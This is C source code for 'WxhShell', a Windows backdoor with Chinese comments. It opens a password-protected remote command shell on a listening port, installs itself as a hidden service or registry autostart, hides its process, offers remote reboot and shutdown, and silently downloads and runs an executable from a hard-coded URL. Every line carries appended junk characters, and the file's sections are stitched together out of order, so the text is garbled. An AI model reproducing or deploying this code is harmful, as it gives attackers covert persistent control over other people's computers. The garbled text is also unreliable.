DWORD BasePriority; AX?fuDLs
ULONG UniqueProcessId; I8+~ &V}
ULONG InheritedFromUniqueProcessId; [cTe54n
} PROCESS_BASIC_INFORMATION; HS{(v;
*+TH#EL2
PROCNTQSIP NtQueryInformationProcess; } X^|$
%{(x3\ *&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nL$x|}XAcj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :ml2.vP
b !%hH
HANDLE hProcess; 4(Ov1a>
PROCESS_BASIC_INFORMATION pbi; .!1S[
K=C!b?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "z0zpHXek
if(NULL == hInst ) return 0; OkCQ?]
4l!@=qwn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ndjx|s)E
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2pzF5h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'fcMuBc+4
"Fy7K#n
if (!NtQueryInformationProcess) return 0; 0O\SU"bP
ZDD..j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WVmq% ,7
if(!hProcess) return 0; ddfs8\
u)ev{)$TM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JJltPGT~Oa
:(a]V"(&Eq
CloseHandle(hProcess); e1>aTu@
!
iptT(2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %V1Z~HC
if(hProcess==NULL) return 0; yz-,)GB6
b
B x?
HMODULE hMod; 4Sm]>%F':
char procName[255]; !ALKSiSl
unsigned long cbNeeded; Nru7(ag1~
?gO8kPg/D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); za:a)U^n
2:BF[c`
CloseHandle(hProcess); 9Ro6fjjE
-29gL_dk.
if(strstr(procName,"services")) return 1; // 以服务启动 2u"7T_"2D
=/u%c!
return 0; // 注册表启动 pG34Qw
} :}h>by=
rQOWLg!"
// 主模块 t~e<z81p
int StartWxhshell(LPSTR lpCmdLine) ~_9n .C
{ b{d4xU8'
SOCKET wsl; ) c/%
NiN
BOOL val=TRUE; < -uc."6\
int port=0; 'Q
=7/dY3I
struct sockaddr_in door; 2+cNo9f
ik"sq}u_]E
if(wscfg.ws_autoins) Install(); `C_jP|[e
BnCKSg7V
port=atoi(lpCmdLine); [97KBoSU
&O)&k
if(port<=0) port=wscfg.ws_port; ?9HhG?_x
RP2_l$
WSADATA data; WpS1a440
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QDTBWM%
8>7RxSF
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b1gaj"]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \.f}W_OF
door.sin_family = AF_INET; G/d4f?RU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7_wJpTz
door.sin_port = htons(port); T"p(]@Ng
l
akp
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #Ei,(xiP
closesocket(wsl); 6oinidB[l
return 1; l{:a1^[>y
} 8K;Y2
#
GyW.2
if(listen(wsl,2) == INVALID_SOCKET) { 3;7q`
closesocket(wsl); dLvJh#`o
return 1; < AI;6/
} [k[u*5hP|F
Wxhshell(wsl); X53mzs
WSACleanup(); F(
Ak
'JZJFE7Z
return 0; 6AvHavA^Y
R#n%cXc|
} K7e4_ZGI
Y7GF$}%UL
// 以NT服务方式启动 tp:\j@dB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >tG+?Y'{
{ ?
b[n|^wS
DWORD status = 0; C{Asp
DWORD specificError = 0xfffffff; sBK <zR
7
uMd
ZpD
serviceStatus.dwServiceType = SERVICE_WIN32; YB)3X[R+0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; E15vq6 DKF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~gI{\iNF/
serviceStatus.dwWin32ExitCode = 0; "o&HE@t
serviceStatus.dwServiceSpecificExitCode = 0; BPqGJ7@
serviceStatus.dwCheckPoint = 0; [ U8$HQ+x
serviceStatus.dwWaitHint = 0; 1z*kc)=JF8
b?Pj< tA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -h-oMqgu(
if (hServiceStatusHandle==0) return; sVoW=4V8
:Pq.,s
status = GetLastError(); 659v\51*
if (status!=NO_ERROR) 8L5!T6+D&
{ 3ta$L"a
serviceStatus.dwCurrentState = SERVICE_STOPPED; mPPk)qy
serviceStatus.dwCheckPoint = 0; ~=&t 0D
serviceStatus.dwWaitHint = 0; 85IMdZ7I
serviceStatus.dwWin32ExitCode = status; ]~>K\i
serviceStatus.dwServiceSpecificExitCode = specificError; y/? &pKH^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SQWafD
return; J4tcQ
} >p])it[q&$
3Z>YV]YbeU
serviceStatus.dwCurrentState = SERVICE_RUNNING; JI|6B
serviceStatus.dwCheckPoint = 0; Ogg#jx(4
serviceStatus.dwWaitHint = 0; /%n`V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |xr\H8:(!
} 1%J.WH6eQ
`Zz uo16
// 处理NT服务事件,比如:启动、停止 ;pJ2V2 g8
VOID WINAPI NTServiceHandler(DWORD fdwControl) ogeL[7
{ /}5B&TZ=(3
switch(fdwControl) k$Rnj`*^
{ wU`!B<,j
case SERVICE_CONTROL_STOP: P20|RvE
serviceStatus.dwWin32ExitCode = 0; Ybg-"w
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8I+d)(:
serviceStatus.dwCheckPoint = 0; t~M
$%)h
serviceStatus.dwWaitHint = 0; OQ4c#V?
{ R^MiP|?ZH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C+K=[
} .G>t72DpU
return; =y%rG :!
case SERVICE_CONTROL_PAUSE: VY+>=!
serviceStatus.dwCurrentState = SERVICE_PAUSED; !asqr1/
break; 5IqQ |/m<6
case SERVICE_CONTROL_CONTINUE: fT
Y/4(
serviceStatus.dwCurrentState = SERVICE_RUNNING; wk\L* \@Y}
break; %do1i W
case SERVICE_CONTROL_INTERROGATE: h4fLl3%H
break; \k.vN@K#
}; LD (C\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V/"}ku
} /&Jv,[2kV
7\/5r.
// 标准应用程序主函数 4p) e}W*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $E(XjuS
{ _qWC4NMF(
Y:x/!-
// 获取操作系统版本 V*65b(q)
OsIsNt=GetOsVer(); AxCI 0
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0y%L-:/c|
*]s&8/Gmb
// 从命令行安装 ';RI7)<
if(strpbrk(lpCmdLine,"iI")) Install(); x:5dCI
?RD *1
// 下载执行文件 tSv0" L
if(wscfg.ws_downexe) { +=cam/A
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) We`'>'W0
WinExec(wscfg.ws_filenam,SW_HIDE); ^[->
)
} gbOCR1PBg
\gccQig1CJ
if(!OsIsNt) { }fIqH4bp
// 如果时win9x,隐藏进程并且设置为注册表启动 ;vO@m!h}U
HideProc(); /N^~U&7
StartWxhshell(lpCmdLine); 'pP-rdx
} `1p 8C%
else tfiqr|z
if(StartFromService()) Rt=
X%[YL
// 以服务方式启动 J(h3]J/Yw
StartServiceCtrlDispatcher(DispatchTable); zTCP)x
else D\]&8w6&
// 普通方式启动 5n:71$6[
StartWxhshell(lpCmdLine); ;Gm>O7"|@
r(uP!n1+
return 0; (;6s)z
} ,9ml>ji`=
sm s1%%~
8?jxDW
a
bY#;E;'7
=========================================== a0d
,
\3{3ly~L
c<qe[iyt/
q#1X[A()
RR>G]#k
N&;\PfG
" JmWR{du
UR>_)*
#include <stdio.h> sp8[cO=
#include <string.h> 0B3 QVbp'
#include <windows.h> C;#"td
#include <winsock2.h> !p%@Deu
#include <winsvc.h> F+j O*F2h
#include <urlmon.h> fuSq ={]
/GsrGX8
#pragma comment (lib, "Ws2_32.lib") 0 K3Hf^>m
#pragma comment (lib, "urlmon.lib") jmW^`%;7
:|XCnK0
#define MAX_USER 100 // 最大客户端连接数 `*9EKj
#define BUF_SOCK 200 // sock buffer |Is'-g!
#define KEY_BUFF 255 // 输入 buffer Ysk,w,K
a%[q
|oyR
#define REBOOT 0 // 重启 )|T`17-
#define SHUTDOWN 1 // 关机 p~>_T7ze
'\4fU%
#define DEF_PORT 5000 // 监听端口 \JU ~k5j
h=f6~5l5
#define REG_LEN 16 // 注册表键长度 _O52ai><b
#define SVC_LEN 80 // NT服务名长度 oMTY)`me
ZDlu1>Q
// 从dll定义API PHkDb/HIx|
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Y`zg`
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Nqrvy=
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OLFt;h
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vb}/@F,Q5
>)%#V<{<
// wxhshell配置信息 7&t~R}&|
struct WSCFG { &|,s{?z2
int ws_port; // 监听端口 %<S7
char ws_passstr[REG_LEN]; // 口令 -><QFJ
int ws_autoins; // 安装标记, 1=yes 0=no O|(o8VS
char ws_regname[REG_LEN]; // 注册表键名 T5{T[YdX<
char ws_svcname[REG_LEN]; // 服务名 >40
GP#Vz
char ws_svcdisp[SVC_LEN]; // 服务显示名 Gmgeve
char ws_svcdesc[SVC_LEN]; // 服务描述信息 a#R%8)
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )_pt*xo
int ws_downexe; // 下载执行标记, 1=yes 0=no K50t%yu#T]
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nL\ZId
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nh. b/\o
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}; [0{wA9g
gN\*Y
// default Wxhshell configuration s;>VeD)*)
struct WSCFG wscfg={DEF_PORT, :xN8R^(
"xuhuanlingzhe", ;Bnr='[
1, x?>!UqgkY
"Wxhshell", Rf8:+d[Jj|
"Wxhshell", o~}1oN
"WxhShell Service", yr{5Rp05=
"Wrsky Windows CmdShell Service", RR'(9QJ$
"Please Input Your Password: ", E~69^cd
1, 0Ts!(b]B
"http://www.wrsky.com/wxhshell.exe", s9:%s*$u
"Wxhshell.exe" l)iv\j
}; %30T{n:
%d-`71|lG^
// 消息定义模块 :D^Y?
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MyM+C}
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7n<#y;wo
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }RDb1~6C
char *msg_ws_ext="\n\rExit."; Z3I L8
char *msg_ws_end="\n\rQuit."; xK=J.>h3
char *msg_ws_boot="\n\rReboot..."; IPkA7VhFF
char *msg_ws_poff="\n\rShutdown..."; X#Ak'%J
char *msg_ws_down="\n\rSave to "; IF$^0q
'@S,V/jy0z
char *msg_ws_err="\n\rErr!"; HD~jU>}}
char *msg_ws_ok="\n\rOK!"; J,`_,T
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char ExeFile[MAX_PATH]; F42TKPN^uu
int nUser = 0; v?%0~!
HANDLE handles[MAX_USER]; eTT^KqE>&
int OsIsNt; +Gp!cGaAm
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SERVICE_STATUS serviceStatus; ,?;sT`Mh)
SERVICE_STATUS_HANDLE hServiceStatusHandle; 6HB]T)n
A@\qoS[
// 函数声明 Bd.Z+#%l"
int Install(void); Yo@m50s$
int Uninstall(void); D'85VZEFyo
int DownloadFile(char *sURL, SOCKET wsh); oFwG+W/
int Boot(int flag); widI
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)
void HideProc(void); nxf{PbHk
int GetOsVer(void);
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int Wxhshell(SOCKET wsl); A&;EV#]ge
void TalkWithClient(void *cs); Y]M^n&f
int CmdShell(SOCKET sock); a$laRtId7
int StartFromService(void); 3a/[."W
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int StartWxhshell(LPSTR lpCmdLine); #efqG=q
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ja L$LJV
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X9 z:D>
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// 数据结构和表定义 ;!^ +N
SERVICE_TABLE_ENTRY DispatchTable[] = ./';P<)
{ (v|ixa
{wscfg.ws_svcname, NTServiceMain}, p"g1V7B
{NULL, NULL} )#)nBM2\
}; ;K>{_kf
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// 自我安装
kT>r<`rt
int Install(void) e!.7no
{ rL.<Z@-
char svExeFile[MAX_PATH]; ^l&nB